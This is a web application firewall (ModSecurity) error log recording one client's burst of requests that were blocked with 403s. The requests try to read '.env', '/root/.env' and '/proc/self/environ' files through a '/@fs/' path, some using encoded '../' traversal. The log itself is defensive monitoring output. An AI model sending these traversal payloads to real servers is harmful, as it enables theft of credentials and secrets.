[Mon Oct 26 08:55:25.175548 2026] [security2:error] [pid 3034808:tid 3034808] [client 34.126.82.152:42274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvW-_5aNv7xza8pHVLwAAAAc"]
[Mon Oct 26 08:55:25.175910 2026] [security2:error] [pid 3034808:tid 3034808] [client 34.126.82.152:42274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvW-_5aNv7xza8pHVLwAAAAc"]
[Mon Oct 26 08:55:25.176144 2026] [security2:error] [pid 3034808:tid 3034808] [client 34.126.82.152:42274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvW-_5aNv7xza8pHVLwAAAAc"]
[Mon Oct 26 08:55:25.192266 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.192375 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.192414 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.192476 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.192848 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.193177 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at9NvRA_yAFS6UHz-l1VnwAAAA0"]
[Mon Oct 26 08:55:25.281574 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at9NvdXnMHl9I2qtmKiHIgAAABE"]
[Mon Oct 26 08:55:25.281667 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at9NvdXnMHl9I2qtmKiHIgAAABE"]
[Mon Oct 26 08:55:25.281699 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at9NvdXnMHl9I2qtmKiHIgAAABE"]
[Mon Oct 26 08:55:25.282320 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at9NvdXnMHl9I2qtmKiHIgAAABE"]
[Mon Oct 26 08:55:25.282570 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at9NvdXnMHl9I2qtmKiHIgAAABE"]
[Mon Oct 26 08:55:25.411534 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at9NvSmtoTVUWKg0WJJgYQAAABI"]
[Mon Oct 26 08:55:25.411923 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at9NvSmtoTVUWKg0WJJgYQAAABI"]
[Mon Oct 26 08:55:25.412205 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at9NvSmtoTVUWKg0WJJgYQAAABI"]
[Mon Oct 26 08:55:25.427702 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvZ2xsiaUtVQzFSUdIQAAAA8"]
[Mon Oct 26 08:55:25.428364 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvZ2xsiaUtVQzFSUdIQAAAA8"]
[Mon Oct 26 08:55:25.428611 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvZ2xsiaUtVQzFSUdIQAAAA8"]
[Mon Oct 26 08:55:25.429880 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvfBd5Bkm5JnOm1-01gAAABM"]
[Mon Oct 26 08:55:25.430399 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvfBd5Bkm5JnOm1-01gAAABM"]
[Mon Oct 26 08:55:25.430633 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvfBd5Bkm5JnOm1-01gAAABM"]
[Mon Oct 26 08:55:25.431807 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjgAAABY"]
[Mon Oct 26 08:55:25.432367 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjgAAABY"]
[Mon Oct 26 08:55:25.432593 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjgAAABY"]
[Mon Oct 26 08:55:25.433796 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9NvbTw2sbGJE6AyS4L4gAAAA4"]
[Mon Oct 26 08:55:25.434226 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9NvbTw2sbGJE6AyS4L4gAAAA4"]
[Mon Oct 26 08:55:25.434478 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9NvbTw2sbGJE6AyS4L4gAAAA4"]
[Mon Oct 26 08:55:25.436416 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvXT09R7Np-FQ85dkKAAAAAo"]
[Mon Oct 26 08:55:25.437046 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvXT09R7Np-FQ85dkKAAAAAo"]
[Mon Oct 26 08:55:25.437260 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvXT09R7Np-FQ85dkKAAAAAo"]
[Mon Oct 26 08:55:25.678044 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9NvQVECGDHCtvwjbcpqwAAAAI"]
[Mon Oct 26 08:55:25.678469 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvdXnMHl9I2qtmKiHIwAAABE"]
[Mon Oct 26 08:55:25.678808 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9NvQVECGDHCtvwjbcpqwAAAAI"]
[Mon Oct 26 08:55:25.679070 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvdXnMHl9I2qtmKiHIwAAABE"]
